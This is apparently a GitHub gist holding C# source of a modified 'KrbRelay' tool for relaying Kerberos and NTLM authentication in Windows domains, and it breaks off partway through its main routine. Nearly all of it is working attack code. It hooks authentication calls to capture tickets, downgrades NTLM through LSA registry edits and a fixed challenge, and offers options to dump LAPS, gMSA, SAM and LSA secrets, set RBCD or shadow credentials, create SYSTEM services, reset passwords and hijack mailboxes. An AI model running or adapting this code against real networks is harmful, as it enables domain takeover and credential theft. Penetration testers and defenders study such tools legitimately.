Created
June 28, 2024 06:40
-
-
Save sploutchy/0f7a913c6aacc90f85339124a93dc78b to your computer and use it in GitHub Desktop.
KrbRelay Remote Capable
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using KrbRelay.Clients; | |
using KrbRelay.Com; | |
using Microsoft.Win32; | |
using NetFwTypeLib; | |
using SMBLibrary; | |
using SMBLibrary.Client; | |
using System; | |
using System.Collections.Generic; | |
using System.Diagnostics; | |
using System.Linq; | |
using System.Net; | |
using System.Net.Http; | |
using System.Net.NetworkInformation; | |
using System.Runtime.InteropServices; | |
using System.Text; | |
using System.Threading; | |
using static KrbRelay.Natives; | |
namespace KrbRelay | |
{ | |
internal class Program | |
{ | |
public static string SetProcessModuleName(string s) | |
{ | |
IntPtr hProcess = GetCurrentProcess(); | |
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); | |
UInt32 RetLen = 0; | |
IntPtr temp; | |
NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), ref RetLen); | |
//https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters | |
IntPtr pProcessParametersOffset = (IntPtr)(pbi.PebBaseAddress + 0x20); | |
byte[] addrBuf = new byte[IntPtr.Size]; | |
ReadProcessMemory(hProcess, pProcessParametersOffset, addrBuf, addrBuf.Length, out temp); | |
IntPtr processParametersOffset = (IntPtr)BitConverter.ToInt64(addrBuf, 0); | |
IntPtr imagePathNameOffset = processParametersOffset + 0x060; | |
//Console.WriteLine("processParametersOffset: 0x{0:X}", processParametersOffset.ToInt64()); | |
//Console.WriteLine("imagePathNameOffset: 0x{0:X}", imagePathNameOffset.ToInt64()); | |
//read imagePathName | |
byte[] addrBuf2 = new byte[Marshal.SizeOf(typeof(UNICODE_STRING))]; | |
ReadProcessMemory(hProcess, imagePathNameOffset, addrBuf2, addrBuf2.Length, out temp); | |
UNICODE_STRING str = Helpers.ReadStruct<UNICODE_STRING>(addrBuf2); | |
byte[] addrBuf3 = new byte[str.Length]; | |
ReadProcessMemory(hProcess, str.Buffer, addrBuf3, addrBuf3.Length, out temp); | |
string oldName = Encoding.Unicode.GetString(addrBuf3); | |
//write imagePathName | |
byte[] b = Encoding.Unicode.GetBytes(s + "\x00"); | |
WriteProcessMemory(hProcess, str.Buffer, b, b.Length, out temp); | |
CloseHandle(hProcess); | |
return oldName; | |
} | |
public static void setUserData(int SessionId) | |
{ | |
if (SessionId != -123) | |
{ | |
uint bytesReturned; | |
bool worked; | |
IntPtr buffer = IntPtr.Zero; | |
try { | |
worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.ConnectState, out buffer, out bytesReturned); | |
var state = (WTS_CONNECTSTATE_CLASS)Enum.ToObject(typeof(WTS_CONNECTSTATE_CLASS), Marshal.ReadInt32(buffer)); | |
if (state != WTS_CONNECTSTATE_CLASS.Active) | |
Console.WriteLine("[-] WARNING, user's session is not active"); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] Session {0} does not exists", SessionId); | |
Environment.Exit(0); | |
} | |
worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.DomainName, out buffer, out bytesReturned); | |
relayedUserDomain = Marshal.PtrToStringAnsi(buffer); | |
worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.UserName, out buffer, out bytesReturned); | |
relayedUser = Marshal.PtrToStringAnsi(buffer); | |
} | |
else | |
{ | |
relayedUser = Environment.MachineName + "$"; | |
relayedUserDomain = domainDN.Replace(",", ".").Replace("DC=", ""); | |
} | |
if (string.IsNullOrEmpty(targetFQDN)) | |
{ | |
Console.WriteLine("[*] Auth Context: {0}\\{1}", relayedUserDomain, relayedUser); | |
} | |
else | |
{ | |
Console.WriteLine("[*] Relaying context: {0}\\{1}", relayedUserDomain, relayedUser); | |
} | |
} | |
// | |
private static void GetRegKey(string key, string name, out object result) | |
{ | |
RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key); | |
if (Lsa != null) | |
{ | |
object value = Lsa.GetValue(name); | |
if (value != null) | |
{ | |
result = value; | |
return; | |
} | |
} | |
result = null; | |
} | |
private static void SetRegKey(string key, string name, object value) | |
{ | |
RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key, true); | |
if (Lsa != null) | |
{ | |
if (value == null) | |
{ | |
Lsa.DeleteValue(name); | |
} | |
else | |
{ | |
Lsa.SetValue(name, value); | |
} | |
} | |
} | |
private static void SetDowngrade(out object oldValue_LMCompatibilityLevel, out object oldValue_NtlmMinClientSec, out object oldValue_RestrictSendingNTLMTraffic) | |
{ | |
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", out oldValue_LMCompatibilityLevel); | |
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2); | |
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", out oldValue_NtlmMinClientSec); | |
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912); | |
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", out oldValue_RestrictSendingNTLMTraffic); | |
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0); | |
} | |
private static void RestoreDowngrade(object oldValue_LMCompatibilityLevel, object oldValue_NtlmMinClientSec, object oldValue_RestrictSendingNTLMTraffic) | |
{ | |
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel); | |
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec); | |
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic); | |
} | |
public static SECURITY_HANDLE ldap_phCredential = new SECURITY_HANDLE(); | |
public static IntPtr ld = IntPtr.Zero; | |
public static byte[] ntlm1 = new byte[] { }; | |
public static byte[] ntlm2 = new byte[] { }; | |
public static byte[] ntlm3 = new byte[] { }; | |
public static byte[] apRep1 = new byte[] { }; | |
public static byte[] apRep2 = new byte[] { }; | |
public static byte[] ticket = new byte[] { }; | |
public static string spn = ""; | |
public static string relayedUser = ""; | |
public static string relayedUserDomain = ""; | |
public static string domain = ""; | |
public static string domainDN = ""; | |
public static string targetFQDN = ""; | |
public static bool useSSL = false; | |
public static bool stopSpoofing = false; | |
public static bool downgrade = false; | |
public static bool ntlm = false; | |
public static string triggerTarget = ""; | |
public static Dictionary<string, string> attacks = new Dictionary<string, string>(); | |
public static SMB2Client smbClient = new SMB2Client(); | |
public static HttpClientHandler handler = new HttpClientHandler(); | |
public static HttpClient httpClient = new HttpClient(); | |
public static CookieContainer CookieContainer = new CookieContainer(); | |
//hooked function | |
[STAThread] | |
public static SecStatusCode AcceptSecurityContext_kerb( | |
[In] SecHandle phCredential, | |
[In] SecHandle phContext, | |
[In] SecurityBufferDescriptor pInput, | |
AcceptContextReqFlags fContextReq, | |
SecDataRep TargetDataRep, | |
[In, Out] SecHandle phNewContext, | |
[In, Out] IntPtr pOutput, | |
out AcceptContextRetFlags pfContextAttr, | |
[Out] SECURITY_INTEGER ptsExpiry) | |
{ | |
//get kerberos tickets sent to our com server | |
if (apRep1.Length == 0) | |
{ | |
//ap_req | |
ticket = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); | |
int ticketOffset = Helpers.PatternAt(ticket, new byte[] { 0x6e, 0x82 }); // 0x6e, 0x82, 0x06 | |
ticket = ticket.Skip(ticketOffset).ToArray(); | |
ticket = Helpers.ConvertApReq(ticket); | |
if(ticket[0] != 0x60) | |
{ | |
Console.WriteLine("[-] Recieved invalid apReq, exploit will fail"); | |
Console.WriteLine("{0}", Helpers.ByteArrayToString(ticket)); | |
Environment.Exit(0); | |
} | |
else | |
{ | |
Console.WriteLine("[*] apReq: {0}", Helpers.ByteArrayToString(ticket)); | |
} | |
} | |
else | |
{ | |
apRep2 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); | |
int apRep2Offset = Helpers.PatternAt(apRep2, new byte[] { 0x6f }, true); | |
apRep2 = apRep2.Skip(apRep2Offset).ToArray(); | |
ticket = apRep2; | |
Console.WriteLine("[*] apRep2: {0}", Helpers.ByteArrayToString(ticket)); | |
} | |
string service = spn.Split('/').First(); | |
if (service.ToLower() == "ldap") | |
{ | |
Ldap.Connect(); | |
} | |
else if (service.ToLower() == "http") | |
{ | |
Http.Connect(); | |
} | |
else if (service.ToLower() == "cifs") | |
{ | |
Smb.Connect(); | |
} | |
//overwrite security buffer | |
var pOutput2 = new SecurityBufferDescriptor(12288); | |
//var buffer = new SecurityBufferDescriptor(msgidbytes); | |
//var buffer = new SecurityBuffer(apRep1); | |
//int size = Marshal.SizeOf(buffer); | |
//int size2 = apRep1.Length; | |
//var BufferPtr = Marshal.AllocHGlobal(size); | |
//Marshal.StructureToPtr(buffer, BufferPtr, false); | |
//byte[] BufferBytes = new byte[size]; | |
//Marshal.Copy(BufferPtr, BufferBytes, 0, size); | |
var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor)); | |
var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer)); | |
SecStatusCode ret = AcceptSecurityContext( | |
phCredential, | |
phContext, | |
pInput, | |
fContextReq, | |
TargetDataRep, | |
phNewContext, | |
pOutput2, | |
out pfContextAttr, | |
ptsExpiry); | |
//overwrite SecurityBuffer bytes | |
if (apRep2.Length == 0) | |
{ | |
byte[] nbytes = new byte[254]; | |
Marshal.Copy(apRep1, 0, ogSecBuffer.Token + 116, apRep1.Length); // verify this 116 offset? | |
Marshal.Copy(nbytes, 0, (IntPtr)ogSecBuffer.Token + apRep1.Length + 116, nbytes.Length); | |
} | |
Console.WriteLine("[*] AcceptSecurityContext: {0}", ret); | |
Console.WriteLine("[*] fContextReq: {0}", fContextReq); | |
return ret; | |
} | |
public static SecStatusCode AcceptSecurityContext_ntlm( | |
[In] SecHandle phCredential, | |
[In] SecHandle phContext, | |
[In] SecurityBufferDescriptor pInput, | |
AcceptContextReqFlags fContextReq, | |
SecDataRep TargetDataRep, | |
[In, Out] SecHandle phNewContext, | |
[In, Out] IntPtr pOutput, | |
out AcceptContextRetFlags pfContextAttr, | |
[Out] SECURITY_INTEGER ptsExpiry) | |
{ | |
if (ntlm1.Length == 0) | |
{ | |
ntlm1 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); | |
int ntlm1Pattern = Helpers.PatternAt(ntlm1, new byte[] { 0x4e, 0x54 }); | |
ntlm1 = ntlm1.Skip(ntlm1Pattern).ToArray(); | |
Console.WriteLine("[*] NTLM1"); | |
Console.WriteLine(Helpers.ByteArrayToString(ntlm1)); | |
ticket = ntlm1; | |
} | |
else | |
{ | |
ntlm3 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); | |
int ntlm3Pattern = Helpers.PatternAt(ntlm3, new byte[] { 0x4e, 0x54 }); | |
ntlm3 = ntlm3.Skip(ntlm3Pattern).ToArray(); | |
ticket = ntlm3; | |
if (ntlm2.Length > 1 && ntlm3.Length > 1) | |
{ | |
Helpers.parseNTLM(ntlm2, ntlm3); | |
} | |
if (string.IsNullOrEmpty(targetFQDN)) | |
{ | |
pfContextAttr = AcceptContextRetFlags.None; | |
return SecStatusCode.SEC_E_LOGON_DENIED; | |
} | |
} | |
//string service = spn.Split('/').First(); | |
//if (service.ToLower() == "ldap") | |
//{ | |
// Ldap.Connect(); | |
//} | |
//else if (service.ToLower() == "http") | |
//{ | |
// Http.Connect(); | |
//} | |
//else if (service.ToLower() == "cifs") | |
//{ | |
// Smb.Connect(); | |
//} | |
//overwrite security buffer | |
var pOutput2 = new SecurityBufferDescriptor(12288); | |
var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor)); | |
var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer)); | |
SecStatusCode ret; | |
if (!string.IsNullOrEmpty(targetFQDN)) | |
{ | |
ret = AcceptSecurityContext( | |
phCredential, | |
phContext, | |
pInput, | |
fContextReq, | |
TargetDataRep, | |
phNewContext, | |
pOutput2, | |
out pfContextAttr, | |
ptsExpiry); | |
} | |
else | |
{ | |
ret = AcceptSecurityContext( | |
phCredential, | |
phContext, | |
pInput, | |
fContextReq, | |
TargetDataRep, | |
phNewContext, | |
pOutput, | |
out pfContextAttr, | |
ptsExpiry); | |
} | |
var ogSecDesc2 = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor)); | |
var ogSecBuffer2 = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc2.BufferPtr, typeof(SecurityBuffer)); | |
byte[] ntlm2bytes = ogSecDesc2.ToByteArray(); | |
int ntlm2Pattern = Helpers.PatternAt(ntlm2bytes, new byte[] { 0x4e, 0x54 }); | |
if (downgrade) | |
{ | |
//disable extended security | |
byte temp = (byte)(Marshal.ReadByte(ogSecBuffer2.Token + ntlm2Pattern + 22) & 0xF7); | |
Marshal.WriteByte(ogSecBuffer2.Token + ntlm2Pattern + 22, 0, temp); | |
//replace challenge | |
byte[] challengebytes = Helpers.StringToByteArray("1122334455667788"); | |
Marshal.Copy(challengebytes, 0, (IntPtr)ogSecBuffer2.Token + ntlm2Pattern + 24, challengebytes.Length); | |
} | |
if (string.IsNullOrEmpty(targetFQDN)) | |
{ | |
//null out reserved bytes | |
byte[] nbytes = new byte[8]; | |
Marshal.Copy(nbytes, 0, (IntPtr)ogSecBuffer2.Token + ntlm2Pattern + 32, nbytes.Length); | |
ntlm2 = ogSecDesc2.ToByteArray(); | |
ntlm2 = ntlm2.Skip(ntlm2Pattern).ToArray(); | |
Console.WriteLine("[*] NTLM2"); | |
Console.WriteLine(Helpers.ByteArrayToString(ntlm2)); | |
} | |
else | |
{ | |
byte[] nbytess = new byte[254]; | |
Marshal.Copy(ntlm2, 0, ogSecBuffer.Token + 116, ntlm2.Length); // verify this 116 offset? | |
Marshal.Copy(nbytess, 0, (IntPtr)ogSecBuffer.Token + ntlm2.Length + 116, nbytess.Length); | |
} | |
Console.WriteLine("[*] AcceptSecurityContext: {0}", ret); | |
Console.WriteLine("[*] fContextReq: {0}", fContextReq); | |
return ret; | |
} | |
private static void ShowHelp() | |
{ | |
Console.WriteLine(); | |
Console.WriteLine("KrbRelay by @Cube0x0"); | |
Console.WriteLine("The Relaying Kerberos Framework"); | |
Console.WriteLine(); | |
Console.WriteLine("Usage: KrbRelay.exe -spn <SPN> [OPTIONS] [ATTACK]"); | |
Console.WriteLine("LDAP attacks:"); | |
Console.WriteLine("-console Interactive LDAP console"); | |
Console.WriteLine("-rbcd <SID> <OPTIONAL TARGET> Configure RBCD for a given SID (default target localhost)"); | |
Console.WriteLine("-shadowcred <OPTIONAL TARGET> Configure msDS-KeyCredentialLink (default target localhost)"); | |
Console.WriteLine("-laps <OPTIONAL TARGET> Dump LAPS passwords"); | |
Console.WriteLine("-gMSA <OPTIONAL TARGET> Dump gMSA passwords"); | |
Console.WriteLine("-add-groupmember <GROUP> <USER> Add user to group"); | |
Console.WriteLine("-reset-password <USER> <PASS> Reset domain user password"); | |
Console.WriteLine(); | |
Console.WriteLine("SMB attacks:"); | |
Console.WriteLine("-console Interactive SMB console"); | |
Console.WriteLine("-list List SMB shares"); | |
Console.WriteLine("-add-privileges <SID> Add privileges for a given SID"); | |
Console.WriteLine("-secrets Dump SAM & LSA secrets"); | |
Console.WriteLine("-service-add <NAME> <COMMAND> Create SYSTEM service"); | |
//Console.WriteLine("-set-secquestions Reset security questions"); | |
//Console.WriteLine("-reset-password <USER> <PASS> Reset local user password"); | |
//Console.WriteLine("printdriver-add <DLL> Add printer driver"); | |
//Console.WriteLine("-reg-query Query registry key"); | |
//Console.WriteLine("-upload <Path> Upload file via SMB"); | |
//Console.WriteLine("-download <Path> Download file via SMB"); | |
Console.WriteLine(); | |
Console.WriteLine("HTTP attacks:"); | |
Console.WriteLine("-endpoint <ENDPOINT> Example; 'EWS/Exchange.asmx'"); | |
Console.WriteLine("-proxy Start a HTTP proxy server against target"); | |
Console.WriteLine("-adcs <TEMPLATE> Generate certificate"); | |
//Console.WriteLine("-ews-console EWS console"); | |
Console.WriteLine("-ews-delegate <USER@DOMAIN> EWS delegate mailbox"); | |
//Console.WriteLine("-ews-read <LIMIT> Read victims inbox"); | |
Console.WriteLine("-ews-search <KEYWORD,KEYWORD2> Search inbox for keywords"); | |
Console.WriteLine(); | |
Console.WriteLine("Options:"); | |
Console.WriteLine("-ssl Use SSL transport"); | |
Console.WriteLine("-spn ServicePrincipalName for target service"); | |
Console.WriteLine("-clsid Service to be executed in"); | |
Console.WriteLine("-session ID for cross-session marshalling"); | |
Console.WriteLine("-port COM listener port"); | |
Console.WriteLine("-llmnr LLMNR poisoning"); | |
Console.WriteLine("-target Target for remote DCOM triggering"); | |
} | |
public static bool checkPort(int port, string name = "SYSTEM") | |
{ | |
INetFwMgr mgr = (INetFwMgr)Activator.CreateInstance(Type.GetTypeFromProgID("HNetCfg.FwMgr")); | |
if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled) | |
{ | |
return true; | |
} | |
mgr.IsPortAllowed(name, NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY, port, "", NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP, out object allowed, out object restricted); | |
return (bool)allowed; | |
} | |
public static int checkPorts(string[] names) | |
{ | |
IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties(); | |
IPEndPoint[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners(); | |
List<int> tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList(); | |
foreach (string name in names) | |
{ | |
for (int i = 1; i < 65535; i++) | |
{ | |
if (checkPort(i, name) && !tcpPorts.Contains(i)) | |
{ | |
return i; | |
} | |
} | |
} | |
return -1; | |
} | |
public static void Main(string[] args) | |
{ | |
string clsid = ""; | |
string service = ""; | |
int sessionID = -123; | |
string port = "12345"; | |
bool show_help = false; | |
bool llmnr = false; | |
Guid clsId_guid = new Guid(); | |
foreach (var entry in args.Select((value, index) => new { index, value })) | |
{ | |
string argument = entry.value.ToUpper(); | |
switch (argument) | |
{ | |
case "-NTLM": | |
case "/NTLM": | |
ntlm = true; | |
break; | |
case "-DOWNGRADE": | |
case "/DOWNGRADE": | |
downgrade = true; | |
break; | |
// | |
case "-CONSOLE": | |
case "/CONSOLE": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("console", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("console", ""); | |
} | |
break; | |
// ldap attacks | |
case "-RBCD": | |
case "/RBCD": | |
try | |
{ | |
if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("rbcd", args[entry.index + 1] + " " + args[entry.index + 2]); | |
} | |
catch | |
{ | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("rbcd", args[entry.index + 1] + " " + ""); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -rbcd requires an argument"); | |
return; | |
} | |
} | |
break; | |
case "-SHADOWCRED": | |
case "/SHADOWCRED": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("shadowcred", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("shadowcred", ""); | |
} | |
break; | |
case "-LAPS": | |
case "/LAPS": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("laps", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("laps", ""); | |
} | |
break; | |
case "-GMSA": | |
case "/GMSA": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("gmsa", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("gmsa", ""); | |
} | |
break; | |
case "-ADD-GROUPMEMBER": | |
case "/ADD-GROUPMEMBER": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("add-groupmember", args[entry.index + 1] + " " + args[entry.index + 2]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -add-groupmember requires two arguments"); | |
return; | |
} | |
break; | |
case "-RESET-PASSWORD": | |
case "/RESET-PASSWORD": | |
try | |
{ | |
if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("reset-password", args[entry.index + 1] + " " + args[entry.index + 2]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -reset-password requires two arguments"); | |
return; | |
} | |
break; | |
// smb attacks | |
case "-LIST": | |
case "/LIST": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("list", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("list", ""); | |
} | |
break; | |
case "-UPLOAD": | |
case "/UPLOAD": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("upload", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -upload requires an argument"); | |
return; | |
} | |
break; | |
case "-DOWNLOAD": | |
case "/DOWNLOAD": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("download", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -download requires an argument"); | |
return; | |
} | |
break; | |
case "-SECRETS": | |
case "/SECRETS": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("secrets", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("secrets", ""); | |
} | |
break; | |
case "-ADD-PRIVILEGES": | |
case "/ADD-PRIVILEGES": | |
try | |
{ | |
attacks.Add("add-privileges", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -add-privileges requires an argument"); | |
return; | |
} | |
break; | |
case "-SERVICE-ADD": | |
case "/SERVICE-ADD": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
if (args[entry.index + 2].StartsWith("/") || args[entry.index + 2].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("service-add", args[entry.index + 1] + " " + args[entry.index + 2]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -service-add requires two arguments"); | |
return; | |
} | |
break; | |
case "-ADD-PRINTERDRIVER": | |
case "/ADD-PRINTERDRIVER": | |
try | |
{ | |
attacks.Add("add-priverdriver", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -add-priverdriver requires an argument"); | |
return; | |
} | |
break; | |
// http attacks | |
case "-ENDPOINT": | |
case "/ENDPOINT": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("endpoint", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -endpoint requires an argument"); | |
return; | |
} | |
break; | |
case "-ADCS": | |
case "/ADCS": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("adcs", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -adcs requires an argument"); | |
return; | |
} | |
break; | |
case "-PROXY": | |
case "/PROXY": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("proxy", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("proxy", ""); | |
} | |
break; | |
case "-EWS-CONSOLE": | |
case "/EWS-CONSOLE": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("ews-console", args[entry.index + 1]); | |
} | |
catch | |
{ | |
attacks.Add("ews-console", ""); | |
} | |
break; | |
case "-EWS-DELEGATE": | |
case "/EWS-DELEGATE": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("ews-delegate", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -ews-delegate requires an argument"); | |
return; | |
} | |
break; | |
case "-EWS-SEARCH": | |
case "/EWS-SEARCH": | |
try | |
{ | |
if (args[entry.index + 1].StartsWith("/") || args[entry.index + 1].StartsWith("-")) | |
throw new Exception(); | |
attacks.Add("ews-search", args[entry.index + 1]); | |
} | |
catch | |
{ | |
Console.WriteLine("[-] -ews-search requires an argument"); | |
return; | |
} | |
break; | |
//optional | |
case "-H": | |
case "/H": | |
show_help = true; | |
break; | |
case "-SSL": | |
case "/SSL": | |
useSSL = true; | |
break; | |
case "-LLMNR": | |
case "/LLMNR": | |
llmnr = true; | |
break; | |
case "-PORT": | |
case "/PORT": | |
port = args[entry.index + 1]; | |
break; | |
case "-SPN": | |
case "/SPN": | |
spn = args[entry.index + 1]; | |
break; | |
case "-CLSID": | |
case "/CLSID": | |
clsid = args[entry.index + 1]; | |
break; | |
case "-SESSION": | |
case "/SESSION": | |
sessionID = Int32.Parse(args[entry.index + 1]); | |
break; | |
case "-TARGET": | |
case "/TARGET": | |
triggerTarget = args[entry.index + 1]; | |
break; | |
} | |
} | |
if (show_help) | |
{ | |
ShowHelp(); | |
return; | |
} | |
if (string.IsNullOrEmpty(spn) && ntlm == false) | |
{ | |
Console.WriteLine("Missing /spn: parameter"); | |
Console.WriteLine("KrbRelay.exe -h for help"); | |
return; | |
} | |
if (string.IsNullOrEmpty(clsid)) | |
{ | |
Console.WriteLine("Missing /clsid: parameter"); | |
Console.WriteLine("KrbRelay.exe -h for help"); | |
return; | |
} | |
if (!string.IsNullOrEmpty(spn)) | |
{ | |
service = spn.Split('/').First().ToLower(); | |
if (!(new List<string> { "ldap", "cifs", "http" }.Contains(service))) | |
{ | |
Console.WriteLine("'{0}' service not supported", service); | |
Console.WriteLine("choose from CIFS, LDAP and HTTP"); | |
return; | |
} | |
string[] d = spn.Split('.').Skip(1).ToArray(); | |
domain = string.Join(".", d); | |
string[] dd = spn.Split('/').Skip(1).ToArray(); | |
targetFQDN = string.Join(".", dd); | |
} | |
if (!string.IsNullOrEmpty(domain)) | |
{ | |
var domainComponent = domain.Split('.'); | |
foreach (string dc in domainComponent) | |
{ | |
domainDN += string.Concat(",DC=", dc); | |
} | |
domainDN = domainDN.TrimStart(','); | |
} | |
if (!string.IsNullOrEmpty(clsid)) | |
clsId_guid = new Guid(clsid); | |
// | |
setUserData(sessionID); | |
if (service == "ldap") | |
{ | |
var ldap_ptsExpiry = new SECURITY_INTEGER(); | |
var status = AcquireCredentialsHandle( | |
null, | |
"Negotiate", | |
2, | |
IntPtr.Zero, | |
IntPtr.Zero, | |
IntPtr.Zero, | |
IntPtr.Zero, | |
ref ldap_phCredential, | |
IntPtr.Zero); | |
//Console.WriteLine("[*] AcquireCredentialsHandle: {0}", (SecStatusCode)status); | |
var timeout = new LDAP_TIMEVAL | |
{ | |
tv_sec = (int)(new TimeSpan(0, 0, 60).Ticks / TimeSpan.TicksPerSecond) | |
}; | |
if (useSSL) | |
{ | |
//ld = Ldap.ldap_sslinit(targetFQDN, 636, 1); | |
ld = ldap_init(targetFQDN, 636); | |
} | |
else | |
{ | |
ld = ldap_init(targetFQDN, 389); | |
} | |
uint LDAP_OPT_ON = 1; | |
uint version = 3; | |
var ldapStatus = ldap_set_option(ld, 0x11, ref version); | |
if (useSSL) | |
{ | |
ldap_get_option(ld, 0x0a, out int lv); //LDAP_OPT_SSL | |
if (lv == 0) | |
ldap_set_option(ld, 0x0a, ref LDAP_OPT_ON); | |
ldap_get_option(ld, 0x0095, out lv); //LDAP_OPT_SIGN | |
if (lv == 0) | |
ldap_set_option(ld, 0x0095, ref LDAP_OPT_ON); | |
ldap_get_option(ld, 0x0096, out lv); //LDAP_OPT_ENCRYPT | |
if (lv == 0) | |
ldap_set_option(ld, 0x0096, ref LDAP_OPT_ON); | |
Helpers.TrustAllCertificates(ld); | |
} | |
ldapStatus = ldap_connect(ld, timeout); | |
if (ldapStatus != 0) | |
{ | |
